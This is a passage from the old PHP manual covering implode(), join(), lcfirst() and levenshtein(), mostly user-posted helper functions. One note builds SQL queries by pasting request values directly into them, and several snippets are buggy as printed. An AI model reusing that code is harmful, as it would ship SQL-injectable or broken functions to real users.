But it didn't handle multi-level array.

I know, a few others here added this "feature", but...

I've modified Chirs' function to be recursive.

Hope it helps someone.

/**
  * Method to recursivly implode a multi-dimensional array
  * Orginal: Chris Ross - 17-Aug-2004
  * Modified: Walter Torres - 09-14-2004
  **/
function implode_assoc_r($inner_glue = "=", $outer_glue = "\n", $array = null, $keepOuterKey = false)
{
    $output = array();

    foreach( $array as $key => $item )
        if ( is_array ($item) )
        {
            if ( $keepOuterKey )
                $output[] = $key;

            // This is value is an array, go and do it again!
            $output[] = implode_assoc_r ($inner_glue, $outer_glue, $item, $keepOuterKey);
        }
        else
            $output[] = $key . $inner_glue . $item;

    return implode($outer_glue, $output);
}
Chris Ross 17-Aug-2004 11:18
I took static's implode_with_keys, and converted into something I considered a little more programatically useful.  I would argue that this sort of functionality should maybe be added to PHP.

<?php
/* This isn't really DB function, but it's general...  This will */
/* act like the PHP implode() function, but for assoc. arrays... */
function implode_assoc($inner_glue, $outer_glue, $array) {
        $output = array();
        foreach( $array as $key => $item )
                $output[] = $key . $inner_glue . $item;

        return implode($outer_glue, $output);
}
?>

  It's the same as static's, really, but allows you to join the keys to the values with any arbitrary string, rather than hard-coding a '='.
john 26-Apr-2004 02:15
hi,
to prevent implode from putting the zero at the end, I use ksort().

example:

$val[1]="one";
$val[2]="two";
$val[0]="zero";
ksort($val);
echo implode(":",$val);
//will return "zero:one:two"
chris at hitcatcher dot com 28-Oct-2003 01:50
I found it neccesary to create a function that joins the contents of a single dimension from a 2-d array. Here's the code in case anyone else should need to do the same:

<?php
function join_2d($glue, $pieces, $dimension = 0){
    //joins the values of a single dimension in a 2-d array
    $rtn = array();
    foreach($piece as $key => $value){
        if(isset($value[$dimension])){
            $rtn[] = $value[$dimension];
        }
    }
    return join($glue, $rtn);
}
?>

The dimension argument can be a positive integer or a named index. Here is an example:

<?php
$testarray = array(array(1 => 'a', 'three' => 1),
                          array(1 => 'b', 'three' => 2),
                          array(1 => 'c', 'three' => 3),
                          array(1 => 'd', 'three' => 4),
                          array(1 => 'e', 'three' => 5));

print "<pre>"; print_r($testarray); print "</pre>";
print join_2d(", ", $testarray, 1) . "<br>";
print join_2d(", ", $testarray, 'three') . "<br>";
?>
dan at danposluns dot com 23-Aug-2003 11:04
*** MULTI-DIMENSIONAL ARRAY IMPLODE ***

First of all, it should be noted that the function in the previous note is not technically correct, as it glues the outside of the first piece. This is the problem faced by any function that wants to construct a set out of an array without the overhead of handling the boundary indexes. It also doesn't preserve the dimensional architecture.

Use this function when you want to call implode() on a multi-dimensional array and want the resulting string to preserve the architecture of the different dimensions. For example:

array ( 5, array (2, 4, 6), array (3, 6, 9, array (12)))

would be reduced to:

[ 5, [ 2, 4, 6 ], [ 3, 6, 9, [ 12 ] ] ]

Note that this does not preserve key values. If you need those, you are probably better off using serialize() and then replacing the tokens with your own symbols using the string functions.

Anyway, here is the code:

function mdImpode($x, $y)
{
    $a = (is_array($x)) ? '[ ' . array_reduce($x, 'mdImplode') . ' ]' : $x;
    $b = (is_array($y)) ? '[ ' . array_reduce($y, 'mdImplode') . ' ]' : $y;
    return $a . ', ' . $b;
}

Then to call it, use:

$result = '[ ' . array_reduce($pieces, 'mdImplode') . ' ]';

Note that you have to make manual changes if you want different glue or set symbols. There may be a more elegant solution, but this should be a good compromise between efficiency and simplicity (the manual says that array_reduce is iterative, so this should be pretty speedy).
gregrahkin 19-Jun-2003 10:10
This function will implode a multi-dimension array

function implode_r ($glue, $pieces){
 $out = "";
 foreach ($pieces as $piece)
  if (is_array ($piece)) $out .= implode_r ($glue, $piece); // recurse
  else                   $out .= $glue.$piece;

 return $out;
 }
james at globalmegacorp dot org 30-May-2003 07:13
As a followup to the implode_with_keys function posted by 'static', here's a corresponding explode_with_keys function I wrote:

function explode_with_keys($seperator, $string)
{
        $output=array();
        $array=explode($seperator, $string);
        foreach ($array as $value) {
                $row=explode("=",$value);
                $output[$row[0]]=$row[1];
        }
        return $output;
}
ulderico at maber dot com dot br 07-Oct-2002 10:39
'Implode' does not implodes recursively... It might quite useful implode recursively when you get a many Arrays values with keys that replaces themselves as:

http://server/file.php?arg[1]=123&arg[2]=312&arg[3]=543&arg[2]=abc

If you build this URL progressively it would a great a idea that the newest value indeed took the place of any older ones, thus:

http://server/file.php?arg[1]=123&arg[3]=543&arg[2]=abc

would be a better option;

If one uses $_SERVER['REQUEST_URI'], this sanitation would not happen, the URL string would be greater and greater everytime.

With implode_r (see below) it becomes easier to build a "sanitised" URL, the one that less likely will overflow the browser.

$URL = $_SERVER['PHP_SELF'];
$tmp = implode_r("&", $_REQUEST); /* So as to allow to get ANY VALUE (G/P) from the Browser... */
$URL .= "?".$tmp;

/* implode_r */
function implode_r($glue, $array, $array_name = NULL){
while(list($key,$value) = @each($array))
if(is_array($value))
                        $return[] = implode_r($glue, $value, (string) $key);
                else
                        if($array_name != NULL)
                                $return[] = $array_name."[".(string) $key."]=".$value;
                        else
                                $return[] = $key."=".$value;

        return(implode($glue, $return));
}
sorry I couldn't format the code.
Cedric at isoca dot com 11-Jul-2002 10:39
Implode with an unset array will made a warning and fail, but is ok with an empty array.
So if you don't trust the content of the array, allways initialize it before :
  $param = array();
  [...]
  echo implode('&', $param);
static 14-May-2002 12:43
The one thing missing with this function is a way to add the keys. So I wrote this little function:

function implode_with_keys($glue, $array) {
        $output = array();
        foreach( $array as $key => $item )
                $output[] = $key . "=" . $item;

        return implode($glue, $output);
}
php at woodenpickle dot com 14-Mar-2002 10:55
Hey, I found a good use for implode() today. It came from a need to have a <select name=state multiple> box on the page that a person could select multiple states from and send those to a >SELECT * FROM customers WHERE state='$state'; query. But they need to be able to send just one state also. Well, I changes the html select box to say <select name=state[] multiple>. This turns $state into an array as you may know. I then, later on in the script, did this:

$count = count( $state );
if( $count > 1 ) {
     $states = implode( "'.'", $state );
     $result = $database->query( "SELECT * FROM currentOrders WHERE date>=$from AND date <=$to AND state IN ('$states')" );
}

//This takes care of multiple states, but if the user sent only one state, I catch it here:

foreach( $state as $value );
if( $value )
     $result = $database->query( "SELECT * FROM currentOrders WHERE date>=$from AND date<=$to AND state='$value'" );
else //This one will catch the ALL states option if they choose that.
     $result = $database->query( "SELECT * FROM currentOrders WHERE date>=$from AND date<=$to" );

Anyway, I thought I'd post this up here in case it might help someone. Or maybe someone could figure out a better way and enlighten us all.. Have fun.. Bob
htmlspecialchars
join
String Functions


Alias of implode

implode
lcfirst
String Functions
PHP Manual

join

(PHP 4, PHP 5)

join — Alias of implode()

Description

This function is an alias of: implode().

User Contributed Notes

datacompboy at call2ru dot com 21-Feb-2009 09:43
Very useful function i have using: joinr (join-recursive).
It allows you easy join of multi-level arrays.
For example, if you have
  $intervals = array(array(5, 9), array(11, 15), array(22, 24))
and want to have comma-separated list of dash-separated intervals, just do
  print joinr(array(",","-"), $intervals);

Here is function code:
<?php
    function joinr($join, $value, $lvl=0)
    {
        if (!is_array($join)) return joinr(array($join), $value, $lvl);
        $res = array();
        if (is_array($value)&&sizeof($value)&&is_array(current($value))) { // Is value are array of sub-arrays?
            foreach($value as $val)
                $res[] = joinr($join, $val, $lvl+1);
        }
        elseif(is_array($value)) {
            $res = $value;
        }
        else $res[] = $value;
        return join(isset($join[$lvl])?$join[$lvl]:"", $res);
    }
?>
manbss at yahoo dot co dot in 09-May-2007 09:38
<?php

$array = array('lastname', 'email', 'phone');
$comma_separated = join(",", $array);

echo $comma_separated; // lastname,email,phone

?>
implode
lcfirst
String Functions


Make a string's first character lowercase

join
levenshtein
String Functions
PHP Manual

lcfirst

(PHP 5 >= 5.3.0)

lcfirst — Make a string's first character lowercase

Description

string lcfirst ( string $str )

Returns a string with the first character of str , lowercased if that character is alphabetic.

Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a (ä) will not be converted.

Parameters

str

The input string.

Return Values

Returns the resulting string.

Examples

Example #1 lcfirst() example

<?php
$foo = 'HelloWorld';
$foo = lcfirst($foo);             // helloWorld

$bar = 'HELLO WORLD!';
$bar = lcfirst($bar);             // hELLO WORLD!
$bar = lcfirst(strtoupper($bar)); // hELLO WORLD!
?>

See Also

  • ucfirst() - Make a string's first character uppercase
  • strtolower() - Make a string lowercase
  • strtoupper() - Make a string uppercase
  • ucwords() - Uppercase the first character of each word in a string

User Contributed Notes

phpnet at katylavallee dot com 02-Apr-2009 08:50
Easiest work-around I've found for <5.3:
<?php

$string = "CamelCase"
$string{0} = strtolower($string{0})
echo $string; // outputs camelCase

?>
ahlers_wim at hotmail dot com 22-Nov-2008 09:48
As of PHP release 6 direct reference modification is not permitted any more.
Reference modification is the process of manipulating characters within a string by means of the instruction such as:
$str[0] in the code line: $str[0] = strtolower($str[0]);

For this reason I have recoded the lcfirst function (on function_exists('lcfirst') === false) as follows:

<?php
if ( false === function_exists('lcfirst') ):
    function lcfirst( $str )
    { return (string)(strtolower(substr($str,0,1)).substr($str,1));}
endif;
?>

Remarks:
Also notice that I have used the more modern scope delimeters (if:-endif;) and I have also removed the unnecessary intermediate result. That is, the manipulation is returned directly.
alex aulbach 06-Oct-2008 09:20
In some cases maybe more useful?

 $lower = strtolower( substr($upper,0,1) ) . substr($upper,1);
harmor 05-May-2008 03:43
A slight modification from Northie's post here ( http://us2.php.net/manual/en/function.ucfirst.php#68443), where lcfirst may not exist in your PHP build:

<?php

if(false === function_exists('lcfirst'))
{
    /**
     * Make a string's first character lowercase
     *
     * @param string $str
     * @return string the resulting string.
     */
    function lcfirst( $str ) {
        $str[0] = strtolower($str[0]);
        return (string)$str;
    }
}

/* Tests */
echo var_dump(lcFirst(NULL)).'<br />';    /* string(0) ""  */
echo var_dump(lcFirst(''))  .'<br />';    /* string(0) ""  */
echo var_dump(lcFirst('S')) .'<br />';    /* string(1) "S" */
echo var_dump(lcFirst('É')) .'<br />';    /* string(0) "�" */
echo var_dump(lcFirst('Hello World!!!')); /* string(14) "hello World!!!"  */
join
levenshtein
String Functions


Calculate Levenshtein distance between two strings

lcfirst
localeconv
String Functions
PHP Manual

levenshtein

(PHP 4 >= 4.0.1, PHP 5)

levenshtein — Calculate Levenshtein distance between two strings

Description

int levenshtein ( string $str1 , string $str2 )
int levenshtein ( string $str1 , string $str2 , int $cost_ins , int $cost_rep , int $cost_del )

The Levenshtein distance is defined as the minimal number of characters you have to replace, insert or delete to transform str1 into str2. The complexity of the algorithm is O(m*n), where n and m are the length of str1 and str2 (rather good when compared to similar_text(), which is O(max(n,m)**3), but still expensive).

In its simplest form the function will take only the two strings as parameter and will calculate just the number of insert, replace and delete operations needed to transform str1 into str2.

A second variant will take three additional parameters that define the cost of insert, replace and delete operations. This is more general and adaptive than variant one, but not as efficient.

Parameters

str1

One of the strings being evaluated for Levenshtein distance.

str2

One of the strings being evaluated for Levenshtein distance.

cost_ins

Defines the cost of insertion.

cost_rep

Defines the cost of replacement.

cost_del

Defines the cost of deletion.

Return Values

This function returns the Levenshtein-Distance between the two argument strings or -1, if one of the argument strings is longer than the limit of 255 characters.

Examples

Example #1 levenshtein() example

<?php
// input misspelled word
$input = 'carrrot';

// array of words to check against
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// no shortest distance found, yet
$shortest = -1;

// loop through words to find the closest
foreach ($words as $word) {

    // calculate the distance between the input word,
    // and the current word
    $lev = levenshtein($input, $word);

    // check for an exact match
    if ($lev == 0) {

        // closest word is this one (exact match)
        $closest = $word;
        $shortest = 0;

        // break out of the loop; we've found an exact match
        break;
    }

    // if this distance is less than the next found shortest
    // distance, OR if a next shortest word has not yet been found
    if ($lev <= $shortest || $shortest < 0) {
        // set the closest match, and shortest distance
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>

The above example will output:

Input word: carrrot
Did you mean: carrot?

See Also

  • soundex() - Calculate the soundex key of a string
  • similar_text() - Calculate the similarity between two strings
  • metaphone() - Calculate the metaphone key of a string

User Contributed Notes

engineglue at gmail dot com 08-Jan-2012 08:05
I really like [the manual's] example for the use of the levenshtein function to match against an array. I ran into the need to specify the sensitivity of the result. There are circumstances when you want it to return false if the match is way out of line. I wouldn't want "marry had a little lamb" to match with "saw viii" simply because it was the best match in the array. Hence the need for sensitivity:

<?php
    function wordMatch($words, $input, $sensitivity){
        $shortest = -1;
        foreach ($words as $word) {
            $lev = levenshtein($input, $word);
            if ($lev == 0) {
                $closest = $word;
                $shortest = 0;
                break;
            }
            if ($lev <= $shortest || $shortest < 0) {
                $closest  = $word;
                $shortest = $lev;
            }
        }
        if($shortest <= $sensitivity){
            return $closest;
        } else {
            return 0;
        }
    }

    $word = 'PINEEEEAPPLE';

    $words  = array('apple','pineapple','banana','orange',
                    'radish','carrot','pea','bean','potato');

    echo wordMatch($words, strtolower($word), 2);
?>
Chaim Chaikin 02-Nov-2011 11:40
As regards to Example #1 above, would it not be more efficient to first use a simple php == comparison to check if the strings are equal even before testing the word with levenshtein().

Something like this:

<?php
// input misspelled word
$input = 'carrrot';

// array of words to check against
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// no shortest distance found, yet
$shortest = -1;

// loop through words to find the closest
foreach ($words as $word) {

    // check for an exact match
    if ($input == $word) {

        // closest word is this one (exact match)
        $closest = $word;
        $shortest = 0;

        // break out of the loop; we've found an exact match
        break;
    }

    // calculate the distance between the input word,
    // and the current word
    $lev = levenshtein($input, $word);

    // if this distance is less than the next found shortest
    // distance, OR if a next shortest word has not yet been found
    if ($lev <= $shortest || $shortest < 0) {
        // set the closest match, and shortest distance
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>
andrejs at gmail 24-Nov-2010 06:38
A ported version of the memory efficient implementation by Sten Hjelmqvist at http://www.codeproject.com/KB/recipes/Levenshtein.aspx - works 1.5x faster than previous versions posted here (44s vs 63s on 2.5KB strings). If you don't care about UTF, you can substitute mb_substr for array-like access and get even faster (24s on the same test set).

I also added trimming of common beginning and end so you can save up to 99% more time â€” in case of small edits inside large texts.

<?php

function levenshteinDistance2($str1, $str2)
{
    $len1 = mb_strlen($str1);
    $len2 = mb_strlen($str2);

    // strip common prefix
    $i = 0;
    do {
        if(mb_substr($str1, $i, 1) != mb_substr($str2, $i, 1))
            break;
        $i++;
        $len1--;
        $len2--;
    } while($len1 > 0 && $len2 > 0);
    if($i > 0) {
        $str1 = mb_substr($str1, $i);
        $str2 = mb_substr($str2, $i);
    }

    // strip common suffix
    $i = 0;
    do {
        if(mb_substr($str1, $len1-1, 1) != mb_substr($str2, $len2-1, 1))
            break;
        $i++;
        $len1--;
        $len2--;
    } while($len1 > 0 && $len2 > 0);
    if($i > 0) {
        $str1 = mb_substr($str1, 0, $len1);
        $str2 = mb_substr($str2, 0, $len2);
    }

    if ($len1 == 0)
        return $len2;
    if ($len2 == 0)
        return $len1;

    $v0 = range(0, $len1);
    $v1 = array();

    for ($i = 1; $i <= $len2; $i++) {
        $v1[0] = $i;
        $str2j = mb_substr($str2, $i - 1, 1);

        for ($j = 1; $j <= $len1; $j++) {
            $cost = (mb_substr($str1, $j - 1, 1) == $str2j) ? 0 : 1;

            $m_min = $v0[$j] + 1;
            $b = $v1[$j - 1] + 1;
            $c = $v0[$j - 1] + $cost;

            if ($b < $m_min)
                $m_min = $b;
            if ($c < $m_min)
                $m_min = $c;

            $v1[$j] = $m_min;
        }

        $vTmp = $v0;
        $v0 = $v1;
        $v1 = $vTmp;
    }

    return $v0[$len1];
}

?>
paulroweatinamedotcom 22-Nov-2008 08:57
Once again, some testing (with thanks to Tiago) showed me that there was still an error in the code.  It wasn't coming up with the right distance when a deletion was involved.  This is because there was an error in the way that the distance array was instantiated.  (Also, my thanks to the editor for making this easier on everyone involved.)

<?php
/*
* This function starts out with several checks in an attempt to save time.
*   1.  The shorter string is always used as the "right-hand" string (as the size of the array is based on its length).
*   2.  If the left string is empty, the length of the right is returned.
*   3.  If the right string is empty, the length of the left is returned.
*   4.  If the strings are equal, a zero-distance is returned.
*   5.  If the left string is contained within the right string, the difference in length is returned.
*   6.  If the right string is contained within the left string, the difference in length is returned.
* If none of the above conditions were met, the Levenshtein algorithm is used.
*/
  function LevenshteinDistance($s1, $s2)
  {
    $nLeftLength = strlen($s1);
    $nRightLength = strlen($s2);
    if ($nLeftLength >= $nRightLength)
    {
      $sLeft = $s1;
      $sRight = $s2;
    } else {
      $sLeft = $s2;
      $sRight = $s1;
      $nLeftLength += $nRightLength;  //  arithmetic swap of two values
      $nRightLength = $nLeftLength - $nRightLength;
      $nLeftLength -= $nRightLength;
    }
    if ($nLeftLength == 0)
      return $nRightLength;
    else if ($nRightLength == 0)
      return $nLeftLength;
    else if ($sLeft === $sRight)
      return 0;
    else if (($nLeftLength < $nRightLength) && (strpos($sRight, $sLeft) !== FALSE))
      return $nRightLength - $nLeftLength;
    else if (($nRightLength < $nLeftLength) && (strpos($sLeft, $sRight) !== FALSE))
      return $nLeftLength - $nRightLength;
    else {
      $nsDistance = range(0, $nRightLength);
      for ($nLeftPos = 1; $nLeftPos <= $nLeftLength; ++$nLeftPos)
      {
        $cLeft = $sLeft[$nLeftPos - 1];
        $nDiagonal = $nLeftPos - 1;
        $nsDistance[0] = $nLeftPos;
        for ($nRightPos = 1; $nRightPos <= $nRightLength; ++$nRightPos)
        {
          $cRight = $sRight[$nRightPos - 1];
          $nCost = ($cRight == $cLeft) ? 0 : 1;
          $nNewDiagonal = $nsDistance[$nRightPos];
          $nsDistance[$nRightPos] =
            min($nsDistance[$nRightPos] + 1,
                $nsDistance[$nRightPos - 1] + 1,
                $nDiagonal + $nCost);
          $nDiagonal = $nNewDiagonal;
        }
      }
      return $nsDistance[$nRightLength];
    }
  }
?>
paulrowe at iname dot com 27-Aug-2008 05:58
[EDITOR'S NOTE: original post and 2 corrections combined into 1 -- mgf]

Here is an implementation of the Levenshtein Distance calculation that only uses a one-dimensional array and doesn't have a limit to the string length. This implementation was inspired by maze generation algorithms that also use only one-dimensional arrays.

I have tested this function with two 532-character strings and it completed in 0.6-0.8 seconds.

<?php
/*
* This function starts out with several checks in an attempt to save time.
*   1.  The shorter string is always used as the "right-hand" string (as the size of the array is based on its length).
*   2.  If the left string is empty, the length of the right is returned.
*   3.  If the right string is empty, the length of the left is returned.
*   4.  If the strings are equal, a zero-distance is returned.
*   5.  If the left string is contained within the right string, the difference in length is returned.
*   6.  If the right string is contained within the left string, the difference in length is returned.
* If none of the above conditions were met, the Levenshtein algorithm is used.
*/
function LevenshteinDistance($s1, $s2)
{
  $sLeft = (strlen($s1) > strlen($s2)) ? $s1 : $s2;
  $sRight = (strlen($s1) > strlen($s2)) ? $s2 : $s1;
  $nLeftLength = strlen($sLeft);
  $nRightLength = strlen($sRight);
  if ($nLeftLength == 0)
    return $nRightLength;
  else if ($nRightLength == 0)
    return $nLeftLength;
  else if ($sLeft === $sRight)
    return 0;
  else if (($nLeftLength < $nRightLength) && (strpos($sRight, $sLeft) !== FALSE))
    return $nRightLength - $nLeftLength;
  else if (($nRightLength < $nLeftLength) && (strpos($sLeft, $sRight) !== FALSE))
    return $nLeftLength - $nRightLength;
  else {
    $nsDistance = range(1, $nRightLength + 1);
    for ($nLeftPos = 1; $nLeftPos <= $nLeftLength; ++$nLeftPos)
    {
      $cLeft = $sLeft[$nLeftPos - 1];
      $nDiagonal = $nLeftPos - 1;
      $nsDistance[0] = $nLeftPos;
      for ($nRightPos = 1; $nRightPos <= $nRightLength; ++$nRightPos)
      {
        $cRight = $sRight[$nRightPos - 1];
        $nCost = ($cRight == $cLeft) ? 0 : 1;
        $nNewDiagonal = $nsDistance[$nRightPos];
        $nsDistance[$nRightPos] =
          min($nsDistance[$nRightPos] + 1,
              $nsDistance[$nRightPos - 1] + 1,
              $nDiagonal + $nCost);
        $nDiagonal = $nNewDiagonal;
      }
    }
    return $nsDistance[$nRightLength];
  }
}
?>
luka8088 at gmail dot com 28-May-2008 01:03
Simple levenshtein function without string length limit ...

<?php

function levenshtein2($str1, $str2, $cost_ins = null, $cost_rep = null, $cost_del = null) {
    $d = array_fill(0, strlen($str1) + 1, array_fill(0, strlen($str2) + 1, 0));
    $ret = 0;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        $d[$i][0] = $i;
    for ($j = 1; $j < strlen($str2) + 1; $j++)
        $d[0][$j] = $j;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        for ($j = 1; $j < strlen($str2) + 1; $j++) {
            $c = 1;
            if ($str1{$i - 1} == $str2{$j - 1})
                $c = 0;
            $d[$i][$j] = min($d[$i - 1][$j] + 1, $d[$i][$j - 1] + 1, $d[$i - 1][$j - 1] + $c);
            $ret = $d[$i][$j];
        }

    return $ret;
}

?>
atx dot antrax at gmail dot com 17-Apr-2008 02:42
I have made a function that removes the length-limit of levenshtein function and ajust the result with similar_text:

<?php
function _similar($str1, $str2) {
    $strlen1=strlen($str1);
    $strlen2=strlen($str2);
    $max=max($strlen1, $strlen2);

    $splitSize=250;
    if($max>$splitSize)
    {
        $lev=0;
        for($cont=0;$cont<$max;$cont+=$splitSize)
        {
            if($strlen1<=$cont || $strlen2<=$cont)
            {
                $lev=$lev/($max/min($strlen1,$strlen2));
                break;
            }
            $lev+=levenshtein(substr($str1,$cont,$splitSize), substr($str2,$cont,$splitSize));
        }
    }
    else
    $lev=levenshtein($str1, $str2);

    $porcentage= -100*$lev/$max+100;
    if($porcentage>75)//Ajustar con similar_text
    similar_text($str1,$str2,$porcentage);

    return $porcentage;
}
?>
dale3h 12-Feb-2008 08:52
Using PHP's example along with Patrick's comparison percentage function, I have come up with a function that returns the closest word from an array, and assigns the percentage to a referenced variable:

<?php
  function closest_word($input, $words, &$percent = null) {
    $shortest = -1;
    foreach ($words as $word) {
      $lev = levenshtein($input, $word);

      if ($lev == 0) {
        $closest = $word;
        $shortest = 0;
        break;
      }

      if ($lev <= $shortest || $shortest < 0) {
        $closest  = $word;
        $shortest = $lev;
      }
    }

    $percent = 1 - levenshtein($input, $closest) / max(strlen($input), strlen($closest));

    return $closest;
  }
?>

Usage:
<?php
  $input = 'carrrot';
  $words = array('apple','pineapple','banana','orange',
                 'radish','carrot','pea','bean','potato');

  $percent = null;
  $found = closest_word($input, $words, $percent);

  printf('Closest word to "%s": %s (%s%% match)', $input, $found, round($percent * 100, 2));
?>

I found that lowercasing the array prior to comparing yields a better comparison when the case is not of importance, for example: comparing a user-inputted category to a list of existing categories.

I also found that when the percentage was above 75%, it was usually the match that I was looking for.
Patrick Palka 08-Apr-2007 02:47
To find the comparison percentage of levenshtein, use this function:

<?php
function _levenshtein($str1, $str2) {
    return 1-levenshtein($str1, $str2)/max(strlen($str1), strlen($str2));
}

echo _levenshtein('dogs', 'cats'); //.25

This function (along with levenshtein) is obsolete though: similar_text is 20% faster that the two.
?>
Paul 02-Mar-2007 10:47
@ ivo_gelov at gmx dot net

Your implementation of Myers' algorithm is not entirely correct. The algorithm finds the end of a match, but you still need to find the start of a match. The easiest way to find the start of a match is to execute the algorithm again on the reversed string, starting at the j'th character. You can't just assume the start of the match is at j - m because you don't know whether the match is longer, shorter, or of equal length.

Just my 2 cents.
ivo_gelov at gmx dot net 30-Oct-2006 07:03
Here is a small function to implement a fuzzy search.
If someone is wondering about the mathematics inside, this information can be found in "A fast bit-vector algorithm for approximate string matching based on dynamic programming" by Gene Myers, May 27 1998

<?php
// This can search for PATTERN into HAYSTACK with MIST mistaken symbols in PATTERN
// OK_MATCH is a function ($Position, $Score)
// Position is zero-based index in HAYSTACK, where PATTERN is found,
// and Score is the number of mistaken symbols
function FuzzyLook($pattern,$haystack,$mist,$ok_match)
{
    $m = strlen($pattern);
    $n = strlen($haystack);
    if($n==0 OR $m==0) return;
    // Precompute Peq[Z]
  for($i=0; $i<32; $i++) $Bit[$i] = (1 << $i);
    for($i=0; $i<$m; $i++) $Peq[ ord(substr($pattern,$i,1)) ] |= $Bit[$i];

    $Pv = 0xFFFFFFFF;
    $Mv = 0;
    $Score = $m;

    for($j=0; $j<$n; $j++)
    {
        $Eq = $Peq[ ord(substr($haystack,$j,1))];
        $Xv = $Eq | $Mv;
        $Xh = ((($Eq & $Pv) + $Pv) ^ $Pv) | $Eq;
        $Ph = $Mv | ~ ($Xh | $Pv);
        $Mh = $Pv & $Xh;
        if($Ph & (1 << ($m-1))) $Score += 1;
        elseif($Mh & (1 << ($m-1))) $Score -= 1;
        $Ph <<= 1;
        $Pv = ($Mh << 1) | ~ ($Xv | $Ph);
        $Mv = $Ph & $Xv;
        if($Score <= $mist && $j>=$m-1) $ok_match($j-$m+1,$Score);
    }
}

?>
carey at NOSPAM dot internode dot net dot au 28-Oct-2006 07:06
I have found that levenshtein is actually case-sensitive (in PHP 4.4.2 at least).

<?php
$distance=levenshtein('hello','ELLO');
echo "$distance";
?>

Outputs: "5", instead of "1". If you are implementing a fuzzy search feature that makes use of levenshtein, you will probably need to find a way to work around this.
dinesh AT dinsoft DOT net 17-Mar-2006 03:18
Here is a string resynch function:

<?php
// Trouve les operations a effectuer pour modifier $b en $a en exploitant leurs similitudes (Finds the operations required to change $b to $a)
// Identique a la fonction Resynch Compare de Hex Workshop
//
// Parametres:
//      $a Premiere chaine (cible, target)
//      $b Seconde chaine (source)
//      $l Nombre d'octets devant correspondre pour etre consides comme un bloc similaire (number of matching bytes required)
//      $s Distance maximale dans laquelle les blocs similaires sont cherches (search window)
//
// Retourne:
//      Array
//              Array
//                      [0] Operation: + Add , - Del , / Replace, = Match
//                      [1] Source offset
//                      [2] Source count
//                      [3] Target offset
//                      [4] Target count
//
function str_resynch($a,$b,$l=32,$s=2048) {
        $r=array();
        for($i=0,$c=strlen($a),$cc=strlen($b),$ii=0,$z=$s-1,$z2=($z<<1)+1; $i<$c; $i++) {
                $d=$i-$z;
                $d=($d<$ii)?substr($b,$ii,$z2-$ii+$d):substr($b,$d,$z2);

                $p=strpos($d,$a{$i});
                $n=0;
                while ($p!==FALSE) {
                        $m=1;
                        $bi=$i;
                        $bp=$p;
                        $p+=$ii;
                        while ((++$i<$c) && (++$p<$cc)) {
                                if ($a{$i}!=$b{$p}) break;
                                $m++;
                        }
                        if ($m<$l) {
                                $i=$bi;
                                $n=$bp+1;
                                $p=@strpos($d,$a{$i},$n);
                        }
                        else {
                                $i--;
                                $r[]=array($bi,$bp+$ii,$m); // offset a, offset b, Count
                                $ii=$p;
                                break;
                        }
                }
        }

        if (!count($r)) return ($cc)?array('/',0,$c,0,$cc):array(array('+',0,$c,0,0));

        $o=array();
        $bi=0;
        $bp=0;
        for($i=0,$m=count($r);$i<$m;$i++) {
                if ($r[$i][0]!=$bi) {
                        if ($r[$i][1]!=$bp) {
                                // Replace
                                $o[]=array('/',$bi,$r[$i][0]-$bi,$bp,$r[$i][1]-$bp);
                                $bi=$r[$i][0];
                                $bp=$r[$i][1];
                        }
                        else {
                                // Insertion
                                $o[]=array('+',$bi,$r[$i][0]-$bi,$bp,0);
                                $bi=$r[$i][0];
                        }
                }
                elseif ($r[$i][1]!=$bp) {
                        // Delete
                        $o[]=array('-',$bi,0,$bp,$r[$i][1]-$bp);
                        $bp=$r[$i][1];
                }

                // Match
                $o[]=array('=',$r[$i][0],$r[$i][2],$r[$i][1],$r[$i][2]);
                $bi+=$r[$i][2];
                $bp+=$r[$i][2];
        }

        if ($c!=$bi) {
                if ($cc!=$bp) $o[]=array('/',$bi,$c-$bi,$bp,$cc-$bp);
                else $o[]=array('+',$bi,$c-$bi,$bp,0);
        }
        elseif ($cc!=$bp) $o[]=array('-',$bi,0,$bp,$cc-$bp);

        return $o;
}
?>
june05 at tilo-hauke dot de 06-Jun-2005 12:44
//levenshtein for arrays
function array_levenshtein($array1,$array2)
         {   $aliases= array_flip(array_values(array_unique(array_merge($array1,$array2))));
             if(count($aliases)>255) return -1;
             $stringA=''; $stringB='';
             foreach($array1 as $entry) $stringA.=chr($aliases[$entry]);
             foreach($array2 as $entry) $stringB.=chr($aliases[$entry]);
             return levenshtein($stringA,$stringB);
         }

// e.g. use array_levenshtein to detect special expressions in unser-inputs

echo array_levenshtein(split(" ", "my name is xxx"), split(" ","my name is levenshtein"));

//output: 1
justin at visunet dot ie 05-Apr-2005 07:46
<?php

    /*********************************************************************
    * The below func, btlfsa, (better than levenstien for spelling apps)
    * produces better results when comparing words like haert against
    * haart and heart.
    *
    * For example here is the output of levenshtein compared to btlfsa
    * when comparing 'haert' to 'herat, haart, heart, harte'
    *
    * btlfsa('haert','herat'); output is.. 3
    * btlfsa('haert','haart'); output is.. 3
    * btlfsa('haert','harte'); output is.. 3
    * btlfsa('haert','heart'); output is.. 2
    *
    * levenshtein('haert','herat'); output is.. 2
    * levenshtein('haert','haart'); output is.. 1
    * levenshtein('haert','harte'); output is.. 2
    * levenshtein('haert','heart'); output is.. 2
    *
    * In other words, if you used levenshtein, 'haart' would be the
    * closest match to 'haert'. Where as, btlfsa sees that it should be
    * 'heart'
    */

    function btlfsa($word1,$word2)
    {
        $score = 0;

        // For each char that is different add 2 to the score
        // as this is a BIG difference

        $remainder  = preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word1)."]/i",'',$word2);
        $remainder .= preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word2)."]/i",'',$word1);
        $score      = strlen($remainder)*2;

        // Take the difference in string length and add it to the score
        $w1_len  = strlen($word1);
        $w2_len  = strlen($word2);
        $score  += $w1_len > $w2_len ? $w1_len - $w2_len : $w2_len - $w1_len;

        // Calculate how many letters are in different locations
        // And add it to the score i.e.
        //
        // h e a r t
